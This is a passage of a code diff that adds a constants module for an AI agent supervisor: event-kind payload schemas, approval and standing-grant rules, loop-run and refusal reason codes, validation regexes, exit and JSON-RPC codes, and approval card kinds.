+      if (out[kind]) throw new Error(`duplicate kind ${kind}`);
+      out[kind] = Object.freeze({
+        kind,
+        owner,
+        sensitivity: SENSITIVE_KINDS[kind] ?? "normal",
+        ...FIELD_LABELS[kind] ? { fieldLabels: Object.freeze({ ...FIELD_LABELS[kind] }) } : {},
+        ...reserved ? { reserved } : {}
+      });
+    }
+  }
+  return Object.freeze(out);
+}
+var RESERVED_PAYLOAD_FIELDS = Object.freeze({
+  // P8-D98 (§2.4 rule 11, T-2026-10-19-014 B1): the drain interrupt's row is session.inject{channel:'drain'
+  // (DRAIN_INJECT_CHANNELS), deadlineMs, deadlineSource (DRAIN_DEADLINE_SOURCES), failed?:true (the write failed)}.
+  "session.inject": Object.freeze({ peerRootKeyId: R9, briefId: R9, deadlineMs: D98, deadlineSource: D98, failed: D98 }),
+  "session.tainted": Object.freeze({ taint: R9 }),
+  "oracle.result": Object.freeze({ round: D86, range: D86, findings: D86 }),
+  "contract.knot": Object.freeze({ reopenOf: D86 }),
+  "contract.built": Object.freeze({ note: D86, responses: D86 }),
+  "verdict.founder": Object.freeze({ override: D86 }),
+  // P8-D98 (§2.4 rule 11, B2): a resumed open carries resume{drainedEventId, outcome} (DRAIN_OUTCOMES) and every
+  // open carries the opener's principalClass (a resume carries it over instead of assuming 'human').
+  // 8.0:loops: a loop session opens with origin:'loop' (the origin clamp, gnomon-loops.md §3.4) and names its run
+  "session.open": Object.freeze({ runMode: D86, resume: D98, principalClass: D98, origin: LOOPS, loopRun: LOOPS }),
+  // P8-D98 (§2.4 rule 11, B2): a resumed session's sandbox row names resumedFrom (the session.drained ev: id) and
+  // drainOutcome (DRAIN_OUTCOMES); a drain-interrupted resume adds a row with phase:'resume-note' (SANDBOX_D98_PHASES),
+  // note (RESUME_NOTES) and drainedEventId.
+  // (the phase field already exists; its new value is published in D98_CLOSED_VALUES, as are the exit reasons
+  // a drained session's session.exited{reason} writes: DRAIN_EXIT_REASONS)
+  // P8-D98 (#trace-capture, TD-2026-10-19-057): the running row says traced:true when the human's per-folder trace
+  // mode recorded the session's raw stream, or traced:false with traceRefused (TRACE_REFUSALS) when it could not.
+  "session.sandbox": Object.freeze({ resumedFrom: D98, drainOutcome: D98, note: D98, drainedEventId: D98, traced: D98, traceRefused: D98 }),
+  // P8-D98 (§2.4 rule 11, B2): every refusal of a resume names why (RESUME_REFUSALS); the row makes the refusal terminal.
+  "session.refused": Object.freeze({ resume: D98 }),
+  // P8-D98 (TD-2026-10-19-648 item 11, §7.4): the per-node claim generation; built in M2.2.
+  "contract.claimed": Object.freeze({ claimGen: D98 }),
+  // P8-D98 (TD-2026-10-19-528 F2): the match mode of a learned always-rule; only 'exact' (ALWAYS_RULE_MATCHES).
+  // TD-2026-10-20-294: a prefix rule carries its words; the always decision that learned it carries the same scope.
+  // TD-2026-10-23-939 follow-up: a file rule carries the kernel-resolved path of the card's edit (sensitive: project detail)
+  "approval.rule.learned": Object.freeze({ match: D98, prefix: PREFIX_RULES, path: EDIT_RULES }),
+  // TD-2026-10-23-815 (Aegis L2): a standing-covered decision names the device (unlock key) the grant matched on
+  "approval.decide": Object.freeze({ scope: PREFIX_RULES, device: EDIT_RULES }),
+  // T-2026-10-20-007: the digest of the ANCHORED command the kernel actually ran (the rewritten updatedInput)
+  "approval.auto": Object.freeze({ anchoredInputHash: STANDING }),
+  // P8-D98 (TD-2026-10-19-528 F4, §2.4 rule 11): approval.expire{why:'session-drained'} (CARD_EXPIRY_WHYS).
+  "approval.expire": Object.freeze({ why: D98 }),
+  // P8-D89 (M1.4 slice 3): the read-token file's untrusted diagnostic names the file and why (§9.1 `{line}` stays for the registry).
+  "key.registry.malformed": Object.freeze({ file: D89, reason: D89 }),
+  // ── 8.0:loops: the kernel's loop pause row names the loop, why (LOOP_PAUSE_REASONS) and who (gnomon-loops.md §3.1, §3.3)
+  "loop.paused": Object.freeze({ loopId: LOOPS, runId: LOOPS, reason: LOOPS, by: LOOPS })
+});
+var RESERVED_KIND_PAYLOADS = Object.freeze({
+  "approval.strictness.raised": ["repo", "from", "to", "cause", "signals", "score", "configHash"],
+  "approval.strictness.proposed": ["repo", "from", "to", "evidence"],
+  "approval.strictness.lowered": ["repo", "from", "to", "cardId", "override"],
+  "approval.strictness.held": ["repo", "level", "reason"],
+  "approval.mode.set": ["scope", "from", "to", "by", "presence"],
+  "approval.auto": ["hsid", "tool", "path", "inputHash", "modeRef"],
+  "request.strictness.set": ["repo", "to"],
+  "request.mode.set": ["repo", "hsid", "to"],
+  "request.incident": ["refs", "severity"],
+  "contract.review.returned": ["nodeId", "round", "openFindings"],
+  "contract.review.capped": ["nodeId", "rounds"],
+  "contract.review.extended": ["nodeId", "cardId"],
+  "contract.review.restarted": ["nodeId", "cardId"],
+  "merge.reverted": ["landedRef", "nodeId", "detectedBy", "trailer"],
+  "merge.ref.rewritten": ["ref", "kind"],
+  "verdict.incident": ["cardId", "refs", "severity"],
+  // P8-D89 (M1.4)
+  "daemon.log.quarantined": ["quarantinedLog", "quarantinedHead", "evidencePath", "authorizedBy"],
+  "key.token.revoked": ["tokenId"],
+  // TD-2026-10-20-086 F6 / T-2026-10-20-007
+  "grant.standing": ["grantId", "cardId", "tuples", "repos", "device", "expiresAt", "by"],
+  "grant.standing.used": ["grantId", "cardId", "tuple", "decision", "repo", "hsid"],
+  "grant.standing.revoked": ["grantId", "by", "reason"],
+  "request.grant.standing": ["tuples", "repos"],
+  "request.grant.standing.revoke": ["grantId"],
+  "approval.auto.miss": ["hsid", "tool", "why", "inputHash", "modeRef"],
+  "approval.unlock.joined": ["connId", "scope"],
+  // ── 8.0:loops (docs/specs/gnomon-loops.md §3–§5): field names only; a build step adds the closed check ──
+  "loop.trusted": ["loopId", "scope", "repoKey", "contentHash", "cardId", "authoredBy"],
+  "loop.untrusted": ["loopId", "scope", "repoKey", "contentHash", "by"],
+  "loop.closure.changed": ["loopId", "repoKey", "digest", "by"],
+  "loop.run.started": ["runId", "loopId", "contentHash", "trigger", "envelopeId"],
+  "loop.node": ["runId", "nodeId", "visit", "verdict", "confidence", "model", "permitId", "usage", "evidenceRef", "effectiveAutonomy"],
+  // loop.row{…} (gnomon.md §M3.2) extended additively (gnomon-loops.md §4), kernel-owned
+  "loop.round": ["runId", "loopId", "repo", "iter", "goal_ref", "tests_passing", "tsc_errors", "diff_lines", "files_touched", "symbols_touched", "tokens", "verdict", "nodeVisits", "escalations", "landedSha"],
+  "loop.notified": ["runId", "loopId", "nodeId", "as", "cardId"],
+  "loop.proposed": ["runId", "loopId", "cardId", "paths", "why"],
+  "loop.landed": ["loopId", "runId", "sha", "paths"],
+  "loop.land.waiting": ["loopId", "runId", "reason"],
+  "loop.parked": ["loopId", "runId", "ref", "reason"],
+  "loop.run.ended": ["runId", "loopId", "reason"],
+  "loop.trigger.fired": ["loopId", "trigger", "eventId"],
+  "loop.deleted": ["loopId", "scope", "repoKey", "by"],
+  // LP8 (#gui-loops): a human tightened a trusted loop's caps (never raised: that is a change waiting for trust)
+  "loop.budget.tightened": ["loopId", "scope", "repoKey", "contentHash", "budgets", "by"],
+  "loop.resumed": ["loopId", "by", "cardId"],
+  "request.loop.trust": ["loopId", "scope", "repo"],
+  "request.loop.untrust": ["loopId", "scope", "repo"],
+  "request.loop.pause": ["loopId", "scope", "repo", "all"],
+  "request.loop.resume": ["loopId", "scope", "repo"],
+  "request.loop.run": ["loopId", "scope", "repo"],
+  "request.loop.delete": ["loopId", "scope", "repo"],
+  "request.loop.budget": ["loopId", "scope", "repo", "budgets"],
+  "loop.request": ["op", "loopId", "scope", "repo", "hsid"]
+});
+var STANDING_TUPLES = ["mode.loosen:auto-edits", "permission:always", "voice.widen", "voice-arm:allow", "daemon-stop:restart"];
+var STANDING_REPO_TUPLES = ["mode.loosen:auto-edits", "permission:always"];
+var STANDING_REVOKE_REASONS = ["human", "screen-lock", "display-sleep", "system-sleep", "user-switch", "helper-exit"];
+var STANDING_PRESENCE_PREFIX = "standing:";
+var STANDING_GRANT_MAX_MS = 12 * 60 * 6e4;
+var KIND_PAYLOADS = Object.freeze({
+  "session.compacted": Object.freeze(["hsid", "turn", "reason", "summaryHash", "tokensBefore", "tokensAfter"]),
+  // P8-D98: closed payloads of the kinds reserved in the T-2026-10-19-001 move (validateKindPayload).
+  "session.drained": Object.freeze(["uuid", "reason"]),
+  // renewedByDrain + expiresAt: the founder ruling on carry-over (§2.4 rule 11) — a permit live at the drain gets a fresh window.
+  "permit.reattributed": Object.freeze(["permitId", "hsid", "drainedEventId", "renewedByDrain", "expiresAt"]),
+  "approval.rule.revoked": Object.freeze(["ruleId", "repoKey", "tool", "connId"]),
+  // 8.0:rules-view: the off / back-on rows of a standing always rule (validateKindPayload)
+  "approval.rule.disabled": Object.freeze(["ruleId", "repoKey", "tool", "until", "batch", "connId"]),
+  "approval.rule.enabled": Object.freeze(["ruleId", "repoKey", "tool", "cause", "batch", "connId", "cardId", "until"]),
+  "approval.effect.failed": Object.freeze(["cardId", "decision", "effect", "reason"]),
+  // model switch (8.0:model-switch): the human's ask and its closing row (validateKindPayload)
+  "request.session.model": Object.freeze(["hsid", "model"]),
+  "session.model": Object.freeze(["hsid", "from", "to", "permitId", "outcome"]),
+  // the Desk + the context meter (8.0:TD-2026-10-20-812). Closed, no free text except offer.shown's model-written
+  // `question` (≤ OFFER_QUESTION_MAX, control/format/separator characters refused) and its manifest-declared `title`.
+  "offer.shown": Object.freeze(["offerId", "hsid", "mod", "kind", "phase", "title", "contextIn", "question", "replyTurnId"]),
+  "offer.decided": Object.freeze(["offerId", "hsid", "decision"]),
+  "offer.kept": Object.freeze(["offerId", "hsid", "mod", "tool"]),
+  "request.offer.decide": Object.freeze(["offerId", "decision"]),
+  "request.offer.mute": Object.freeze(["mod", "scope", "hsid", "muted"]),
+  "offer.muted": Object.freeze(["mod", "repo", "muted", "hsid"]),
+  // T-2026-10-21-006: names only (name = the block's mod id, offerKind = its kind; both absent for no-block / malformed)
+  "offer.suppressed": Object.freeze(["hsid", "turn", "why", "name", "offerKind"]),
+  // T-2026-10-21-008: ids and closed reasons only
+  "offer.retired": Object.freeze(["offerId", "hsid", "why"]),
+  "session.anomaly": Object.freeze(["hsid", "why"]),
+  // source 'git' carries url (https only) and optionally commit (40 hex), 'folder' carries path (absolute); the other keys are refused
+  "request.mod.install": Object.freeze(["source", "url", "path", "commit"]),
+  "request.session.restart": Object.freeze(["hsid", "checkpointRef"]),
+  // 8.0:session-rename: the name is normalised display text (isSessionName); '' resets to the derived title
+  "request.session.rename": Object.freeze(["hsid", "name"]),
+  "session.renamed": Object.freeze(["hsid", "name"]),
+  "session.context.threshold": Object.freeze(["hsid", "usedTokens", "windowTokens", "ratio"]),
+  // 8.0:git-verbs: closed, ids and closed values only (host is a validated DNS name, never a URL)
+  "git.verb": Object.freeze(["hsid", "verb", "phase", "inputHash", "why", "cardId", "host", "exitCode"])
+});
+var KIND_PAYLOAD_OPTIONAL = Object.freeze({
+  "request.mod.install": Object.freeze(["url", "path", "commit"]),
+  "request.session.restart": Object.freeze(["checkpointRef"]),
+  "offer.suppressed": Object.freeze(["name", "offerKind"]),
+  "git.verb": Object.freeze(["why", "cardId", "host", "exitCode"]),
+  // 8.0:rules-view: cause 'human' carries batch, connId and cardId; cause 'expired' carries until (validateKindPayload)
+  "approval.rule.enabled": Object.freeze(["batch", "connId", "cardId", "until"])
+});
+var GIT_VERBS = ["git.init", "git.push", "repo.create", "git.worktree.add", "git.worktree.remove"];
+var GIT_VERB_PHASES = ["requested", "refused", "ran", "failed", "lookup"];
+var GIT_VERB_REASONS = [
+  "not-a-root",
+  "in-repo",
+  "protected-folder",
+  "no-repo",
+  "dotgit-link",
+  "unsafe-config",
+  "bad-input",
+  "no-branch",
+  "no-remote",
+  "bad-remote",
+  "remote-exists",
+  "remote-changed",
+  "mode-manual",
+  "loop-session",
+  "denied",
+  "no-approval-surface",
+  "tool-missing",
+  "not-authenticated",
+  "command-failed",
+  "timeout",
+  "worktree-exists",
+  "no-worktree",
+  "busy",
+  "unguarded",
+  "secret-in-push"
+];
+var GIT_VERB_HOST_PATTERN = /^(?=.{1,253}$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/;
+var OFFER_RETIRE_REASONS = ["continued"];
+var SESSION_ANOMALY_REASONS = ["result-without-turn"];
+var TURN_RESULT_PAIRING = Object.freeze({ key: "turn", pattern: TURN_ID_PATTERN.source, closesThrough: true, absent: "fifo" });
+var SESSION_NAME_MAX = 80;
+var SESSION_NAME_INPUT_MAX = 1024;
+var OFFER_MUTE_SCOPES = ["repo"];
+var MOD_INSTALL_SOURCES = ["git", "folder"];
+var MOD_INSTALL_LIMITS = Object.freeze({ url: 512, path: 1024 });
+var MOD_INSTALL_URL_PATTERN = /^https:\/\/[A-Za-z0-9][A-Za-z0-9.-]{0,252}(?::[0-9]{1,5})?(?:\/[A-Za-z0-9._~%!$&'()*+,;=:@\/?#-]*)?$/;
+var CHECKPOINT_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/;
+var OFFER_ID_PATTERN = ID_PATTERNS.offer;
+var SESSION_MODEL_OUTCOMES = ["switched", "backend-refused", "timeout", "permit-refused", "reconciled"];
+var MODEL_SWITCH_CONTEXT_GUARD = Object.freeze({ fromSuffix: "[1m]", maxTokens: 16e4 });
+var DRAIN_REASONS = ["upgrade"];
+var DRAIN_OUTCOMES = ["clean", "interrupted"];
+var DRAIN_EXIT_REASONS = ["drain-clean", "drain-interrupted"];
+var DRAIN_INJECT_CHANNELS = ["drain"];
+var DRAIN_DEADLINE_SOURCES = ["default", "caller"];
+var SANDBOX_D98_PHASES = ["resume-note"];
+var RESUME_NOTES = ["turn interrupted by update"];
+var RESUME_REFUSALS = ["cwd-gone", "not-human", "transcripts-withheld", "layers-changed", "git-changed", "permit-missing", "permit-unfit", "billing-refused", "spawn-failed"];
+var TRACE_REFUSALS = ["trace-unsafe", "trace-unavailable"];
+var VOICE_DISARM_REASONS = [
+  "idle",
+  "hard",
+  "limit",
+  "conn-closed",
+  "voice-conn",
+  "screen-lock",
+  "display-sleep",
+  "user-switch",
+  "system-sleep",
+  "policy",
+  "config",
+  "mode-set",
+  "phrase",
+  "gui",
+  "cli",
+  "unenrolled",
+  "daemon-exit",
+  "helper-exit",
+  "handle-miss",
+  "challenge-miss",
+  "refused-streak"
+];
+var ALWAYS_RULE_MATCHES = ["exact", "prefix", "file", "repo-edits"];
+var RULE_ID_PATTERN = ID_PATTERNS.card;
+var RULES_APPLY_MAX = 64;
+var RULE_OFF_MAX_MS = 7 * 24 * 60 * 6e4;
+var RULE_CHANGE_OPS = ["remove", "off", "on"];
+var RULE_ENABLE_CAUSES = ["human", "expired"];
+var RULES_BATCH_PATTERN = /^batch:[0-9A-HJKMNP-TV-Z]{26}$/;
+var COMPACTION_REASONS = ["threshold", "overflow", "manual", "unspecified"];
+var LOOP_VERDICTS = ["pass", "fail", "unsure", "unavailable", "error"];
+var LOOP_AUTONOMY = ["act", "propose", "observe"];
+var LOOP_SCOPES = ["repo", "personal"];
+var LOOP_REQUEST_OPS = ["create", "update", "run", "pause", "resume", "delete"];
+var LOOP_PAUSE_REASONS = ["human", "agent", "kill-switch", "content-changed", "closure-changed", "thrash", "strictness", "budget", "node-exit", "unavailable", "timeout"];
+var LOOP_RUN_END_REASONS = ["goal", "stop", "budget", "node-exit", "paused", "kill-switch", "content-changed", "closure-changed", "thrash", "strictness", "untrusted", "daemon-restart", "error"];
+var LOOP_CLOSURE_BY = ["human", "loop", "agent"];
+var LOOP_LAND_WAIT_REASONS = ["dirty", "held", "rename", "untracked", "ignored", "gitlink", "attributes", "case-fold", "in-progress", "index-lock", "human-turn", "branch-moved", "bytes-changed", "gate-class", "max-wait"];
+var LOOP_SESSION_ORIGIN = "loop";
+var EVENT_KINDS = build();
+var EVENT_KIND_NAMES = Object.freeze(Object.keys(EVENT_KINDS).sort());
+var OPEN_USERLAND_NAMESPACES = ["credit", "broke", "modns"];
+var KIND_PATTERN = /^[a-z][a-z0-9-]*(\.[a-z0-9][a-z0-9-]*)+$/;
+var EVENT_V1_REQUIRED = [
+  "schemaVersion",
+  "id",
+  "log",
+  "seq",
+  "at",
+  "principal",
+  "audience",
+  "sensitivity",
+  "kind",
+  "prev",
+  "hash"
+];
+var MAX_CONTESTED = 32;
+var WARPLINE_REFUSAL_CODES = [
+  "GATE_REFUSED",
+  "CLAIM_BREACH",
+  "TRUST_HELD",
+  "STALE_BASE",
+  "INTEGRITY_BROKEN",
+  "AUTH",
+  "FORBIDDEN",
+  "BAD_REQUEST",
+  "UNKNOWN_VERB",
+  "NOT_FOUND",
+  "UNSUPPORTED",
+  "ENGINE"
+];
+var GNOMON_ONLY_REFUSAL_CODES = [
+  "BUDGET_DENIED",
+  "PERMIT_REQUIRED",
+  "CAS_LOST",
+  "BILLING_REFUSED",
+  "MODEL_UNAVAILABLE"
+];
+var REFUSAL_CODES = [...WARPLINE_REFUSAL_CODES, ...GNOMON_ONLY_REFUSAL_CODES];
+var WARPLINE_REFUSAL_GATES = ["meaning", "claim", "trust", "pick", "transport", "usage"];
+var REFUSAL_GATES = [
+  ...WARPLINE_REFUSAL_GATES,
+  "budget",
+  "billing",
+  "model",
+  "voice",
+  "link",
+  // reserved M1.1 (P8-D86–D88, §4.11): review-convergence cap and strictness levels/run modes.
+  "review",
+  "strictness"
+];
+var RETRIABILITIES = [
+  "retry-identical",
+  "retry-corrected",
+  "retry-after-rebase",
+  "retry-after-resolve",
+  "retry-with-override",
+  "never"
+];
+var NEXT_PRINCIPALS = ["agent", "human"];
+var CONTESTED_RANKS = ["direct", "ripple"];
+var OVERRIDE_FLAGS = ["acceptBreach", "acceptRisk"];
+var VOICE_REFUSAL_REASONS = [
+  "voice-off",
+  "voice-not-armed",
+  "voice-custody",
+  "voice-peer",
+  "voice-surface",
+  "voice-conn",
+  "voice-project",
+  "voice-class",
+  "voice-hand-only",
+  "voice-ineligible",
+  "voice-target",
+  "voice-ambiguous",
+  "voice-handle",
+  "voice-stale-utterance",
+  "voice-grammar",
+  "voice-speaker",
+  "voice-echo",
+  "voice-playback",
+  "voice-readback-missing",
+  "voice-challenge",
+  "voice-confirm-expired",
+  "voice-route",
+  "voice-focus",
+  "voice-rate",
+  "held",
+  // reserved M1.1 (P8-D86–D88, §4.11): the level's voice ceiling refused it (Arky's strictness-voice folds in here).
+  "voice-strictness"
+];
+var LINK_REFUSAL_REASONS = [
+  "link-unpaired",
+  "link-scope",
+  "link-expired",
+  "link-revoked",
+  "link-paused",
+  "link-rate",
+  "audience",
+  "sensitivity",
+  "secret-found",
+  "brief-replayed",
+  "brief-expired",
+  "brief-misaddressed",
+  "peer-always",
+  "peer-presence",
+  "peer-via",
+  "warpline-sync-absent"
+];
+var REVIEW_REFUSAL_REASONS = ["review-cap"];
+var STRICTNESS_REFUSAL_REASONS = [
+  "strictness-presence",
+  "strictness-paused",
+  "strictness-mode",
+  "strictness-evidence"
+];
+var CHANGE_NOTE_REFUSAL_REASONS = ["note-missing"];
+var SOCKET_REASON_ROUTES = Object.freeze({
+  // framing / request shape (server.ts, rpc.ts parseRequest) — BAD_REQUEST
+  "frame-too-large": { code: "BAD_REQUEST", gate: "usage" },
+  "malformed-utf8": { code: "BAD_REQUEST", gate: "usage" },
+  "malformed-json": { code: "BAD_REQUEST", gate: "usage" },
+  "malformed-not-object": { code: "BAD_REQUEST", gate: "usage" },
+  "jsonrpc-version": { code: "BAD_REQUEST", gate: "usage" },
+  "rpc-tag": { code: "BAD_REQUEST", gate: "usage" },
+  "request-id": { code: "BAD_REQUEST", gate: "usage" },
+  "method-missing": { code: "BAD_REQUEST", gate: "usage" },
+  // hello (auth.ts)
+  "hello-repeated": { code: "BAD_REQUEST", gate: "usage" },
+  "hello-params": { code: "BAD_REQUEST", gate: "usage" },
+  "no-shared-client-api": { code: "UNSUPPORTED", gate: "usage" },
+  // auth (auth.ts) — AUTH unless noted
+  "already-authenticated": { code: "AUTH", gate: "transport" },
+  "no-hello": { code: "AUTH", gate: "transport" },
+  "nonce-used": { code: "AUTH", gate: "transport" },
+  "nonce-expired": { code: "AUTH", gate: "transport" },
+  "auth-params": { code: "AUTH", gate: "transport" },
+  "token-not-implemented": { code: "UNSUPPORTED", gate: "usage" },
+  "web-auth-not-implemented": { code: "UNSUPPORTED", gate: "usage" },
+  "replayed-transcript": { code: "AUTH", gate: "transport" },
+  "foreign-principal": { code: "AUTH", gate: "transport" },
+  "root-unprovisioned": { code: "AUTH", gate: "transport" },
+  "unknown-device": { code: "AUTH", gate: "transport" },
+  "principal-mismatch": { code: "AUTH", gate: "transport" },
+  "peer-not-client": { code: "AUTH", gate: "transport" },
+  "bad-signature": { code: "AUTH", gate: "transport" },
+  // read tokens (auth.ts, identity/read-token.ts; M1.4 slice 3, P8-D89/D89a)
+  "unknown-token": { code: "AUTH", gate: "transport" },
+  "token-expired": { code: "AUTH", gate: "transport" },
+  "token-revoked": { code: "AUTH", gate: "transport" },
+  "token-in-use": { code: "AUTH", gate: "transport" },
+  "token-not-yet-valid": { code: "AUTH", gate: "transport" },
+  "token-store-untrusted": { code: "AUTH", gate: "transport" },
+  // dispatch (dispatch.ts)
+  "unknown-verb": { code: "UNKNOWN_VERB", gate: "usage" },
+  unauthenticated: { code: "AUTH", gate: "transport" },
+  matrix: { code: "FORBIDDEN", gate: "transport" },
+  "not-implemented": { code: "ENGINE", gate: "transport" },
+  "log-write-failed": { code: "ENGINE", gate: "transport" },
+  gone: { code: "ENGINE", gate: "transport" },
+  // log.append namespace ownership (log-append.ts; M1.4 slice 3, P8-D89)
+  "kernel-owned": { code: "FORBIDDEN", gate: "transport" },
+  ungranted: { code: "FORBIDDEN", gate: "transport" },
+  "modns-not-own": { code: "FORBIDDEN", gate: "transport" },
+  "bad-kind": { code: "BAD_REQUEST", gate: "usage" },
+  "bad-params": { code: "BAD_REQUEST", gate: "usage" },
+  // reasons the kernel already sent since M1.4 slice 2 (log-read.ts, refs/resolve.ts, redaction.ts, kernel-log read side) — P8-D89 round 3
+  "follow-needs-id": { code: "BAD_REQUEST", gate: "usage" },
+  "backlog-too-large": { code: "BAD_REQUEST", gate: "usage" },
+  "bad-since": { code: "BAD_REQUEST", gate: "usage" },
+  "bad-until": { code: "BAD_REQUEST", gate: "usage" },
+  "bad-limit": { code: "BAD_REQUEST", gate: "usage" },
+  "bad-follow": { code: "BAD_REQUEST", gate: "usage" },
+  "bad-kinds": { code: "BAD_REQUEST", gate: "usage" },
+  "bad-scope": { code: "BAD_REQUEST", gate: "usage" },
+  "since-ahead": { code: "BAD_REQUEST", gate: "usage" },
+  "subscription-cap": { code: "BAD_REQUEST", gate: "usage" },
+  "mod-principal-name": { code: "FORBIDDEN", gate: "transport" },
+  "reader-unsupported": { code: "UNSUPPORTED", gate: "usage" },
+  "bad-ref": { code: "BAD_REQUEST", gate: "usage" },
+  "rev-not-applicable": { code: "BAD_REQUEST", gate: "usage" },
+  "unknown-scheme": { code: "UNSUPPORTED", gate: "usage" },
+  "peer-ref": { code: "UNSUPPORTED", gate: "usage" },
+  "no-resolver": { code: "UNSUPPORTED", gate: "usage" },
+  "not-found": { code: "NOT_FOUND", gate: "usage" },
+  "row-integrity": { code: "ENGINE", gate: "transport" },
+  closed: { code: "ENGINE", gate: "transport" },
+  // server internals (server.ts)
+  "response-too-large": { code: "ENGINE", gate: "transport" },
+  internal: { code: "ENGINE", gate: "transport" }
+});
+var SOCKET_REFUSAL_REASONS = Object.freeze(Object.keys(SOCKET_REASON_ROUTES));
+var CLIENT_LOCAL_REFUSAL_REASONS = ["hello-not-offered", "client-nonce-mismatch"];
+var D98_REASON_ROUTES = Object.freeze({
+  "stale-claim": { code: "CAS_LOST", gate: "claim" },
+  "claim-expired": { code: "CAS_LOST", gate: "claim" },
+  "claim-superseded": { code: "CAS_LOST", gate: "claim" },
+  "cursor-epoch": { code: "BAD_REQUEST", gate: "usage" },
+  draining: { code: "ENGINE", gate: "transport" },
+  "cwd-hint-too-long": { code: "BAD_REQUEST", gate: "usage" },
+  "connection-gone": { code: "ENGINE", gate: "transport" }
+});
+var D98_REFUSAL_REASONS = Object.freeze(Object.keys(D98_REASON_ROUTES));
+var MODEL_SWITCH_REASON_ROUTES = Object.freeze({
+  "turn-running": { code: "UNSUPPORTED", gate: "usage" },
+  "model-switching": { code: "UNSUPPORTED", gate: "usage" },
+  "local-session": { code: "UNSUPPORTED", gate: "usage" },
+  "context-too-large": { code: "UNSUPPORTED", gate: "usage" },
+  "model-switch-failed": { code: "MODEL_UNAVAILABLE", gate: "usage" },
+  "model-switch-timeout": { code: "ENGINE", gate: "transport" }
+});
+var MODEL_SWITCH_REFUSAL_REASONS = Object.freeze(Object.keys(MODEL_SWITCH_REASON_ROUTES));
+var OTHER_REFUSAL_REASONS = ["presence"];
+var RULES_VIEW_REFUSAL_REASONS = ["already-on", "would-loosen", "until-past", "until-too-far", "too-many", "too-large", "card-pending", "partial"];
+var REFUSAL_REASONS = [
+  ...VOICE_REFUSAL_REASONS,
+  ...LINK_REFUSAL_REASONS,
+  ...REVIEW_REFUSAL_REASONS,
+  ...STRICTNESS_REFUSAL_REASONS,
+  ...CHANGE_NOTE_REFUSAL_REASONS,
+  ...OTHER_REFUSAL_REASONS,
+  ...CLIENT_LOCAL_REFUSAL_REASONS,
+  ...SOCKET_REFUSAL_REASONS,
+  ...D98_REFUSAL_REASONS,
+  ...MODEL_SWITCH_REFUSAL_REASONS,
+  ...RULES_VIEW_REFUSAL_REASONS
+];
+var RESERVED_REASON_ROUTES = Object.freeze({
+  "review-cap": { code: "FORBIDDEN", gate: "review" },
+  "strictness-presence": { code: "FORBIDDEN", gate: "strictness" },
+  "strictness-paused": { code: "FORBIDDEN", gate: "strictness" },
+  "strictness-mode": { code: "FORBIDDEN", gate: "strictness" },
+  "strictness-evidence": { code: "FORBIDDEN", gate: "strictness" },
+  "voice-strictness": { code: "FORBIDDEN", gate: "voice" },
+  "note-missing": { code: "BAD_REQUEST", gate: "usage" }
+});
+var REFUSAL_V1_REQUIRED = [
+  "schemaVersion",
+  "code",
+  "verdict",
+  "gate",
+  "retriable",
+  "contested",
+  "contestedTotal",
+  "pointers",
+  "next"
+];
+var EXIT_CODES = Object.freeze({
+  GATE_REFUSED: 1,
+  INTEGRITY_BROKEN: 1,
+  ENGINE: 1,
+  BAD_REQUEST: 2,
+  UNKNOWN_VERB: 2,
+  NOT_FOUND: 2,
+  AUTH: 2,
+  FORBIDDEN: 2,
+  UNSUPPORTED: 2,
+  CLAIM_BREACH: 3,
+  TRUST_HELD: 4,
+  STALE_BASE: 5,
+  BUDGET_DENIED: 6,
+  PERMIT_REQUIRED: 2,
+  CAS_LOST: 7,
+  BILLING_REFUSED: 8,
+  MODEL_UNAVAILABLE: 9
+});
+var JSON_RPC_CODES = Object.freeze({
+  AUTH: -32001,
+  FORBIDDEN: -32002,
+  NOT_FOUND: -32004,
+  UNSUPPORTED: -32005,
+  BAD_REQUEST: -32600,
+  UNKNOWN_VERB: -32601,
+  ENGINE: -32e3,
+  BUDGET_DENIED: -32010,
+  PERMIT_REQUIRED: -32011,
+  CAS_LOST: -32012,
+  INTEGRITY_BROKEN: -32013,
+  GATE_REFUSED: -32020,
+  CLAIM_BREACH: -32021,
+  TRUST_HELD: -32022,
+  STALE_BASE: -32023,
+  BILLING_REFUSED: -32030,
+  MODEL_UNAVAILABLE: -32031
+});
+var RISK_TIERS = ["low", "medium", "high"];
+var AGENT_REVERT_HOWS = ["auto", "command", "manual"];
+var KERNEL_REVERT_HOWS = ["auto", "none"];
+var CHANGE_NOTE_LIMITS = Object.freeze({ summaryBytes: 1024, whyBytes: 512, stepsBytes: 1024 });
+var CHANGE_NOTE_AGENT_KEYS = ["testedHow", "risk", "revert", "draftedBy"];
+var CHANGE_NOTE_KERNEL_KEYS = ["verified", "risk", "revert"];
+var FINDING_SEVERITIES = ["important", "nit", "pre-existing"];
+var FINDING_RESPONSES = ["fixed", "wrong", "intentional", "immaterial"];
+var LINE_RANGE_PATTERN = /^[1-9][0-9]*(-[1-9][0-9]*)?$/;
+var REVIEW_FINDING_V1_KEYS = ["fid", "round", "class", "severity", "locus", "instances", "claim", "fingerprint"];
+var CARD_KINDS = [
+  "permission",
+  "budget",
+  "knot",
+  "tend",
+  "verdict",
+  "merge-conflict",
+  "gate-class",
+  "install",
+  "fallback",
+  "ask-user",
+  "plan",
+  "api-token",
+  "voice-share",
+  "voice-arm",
+  "grant",
+  "handoff",
+  "declassify",
+  "peer-pair",
+  "reconsider",
+  "strictness",
+  "incident",
+  // P8-D98 (TD-2026-10-19-528 F3): `gnomon daemon stop` raises a signed daemon-stop card decided with fresh presence.
+  "daemon-stop",
+  // ── 8.0:loops (docs/specs/gnomon-loops.md §3.1, §3.3; the ONE loops clientApiId move) ──────────────────────────
+  // loop-trust: a human trusts a loop definition's exact content hash (root key + fresh presence; never always,
+  //             never standing, never by voice).
+  // loop-choice: a loop's decide node (`notify as: card`): continue (fresh, hand-only) or stop (deny-direction).
+  "loop-trust",
+  "loop-choice"
+];
+var CARD_STATES = ["pending", "held", "decided", "expired"];
+var CARD_FLAGS = ["hidden-chars", "bidi", "voice-phrase", "peer", "irreversible", "claim-mismatch"];
+var CARD_DECISIONS = [
+  "allow",
+  "always",
+  "deny",
+  "resume",
+  "resolve",
+  "accept",
+  "reject",
+  "install",
+  "answer",
+  "approve-plan",
+  "fallback-cloud",
+  "use-api-token",
+  "withdraw",
+  "extend",
+  "restart",
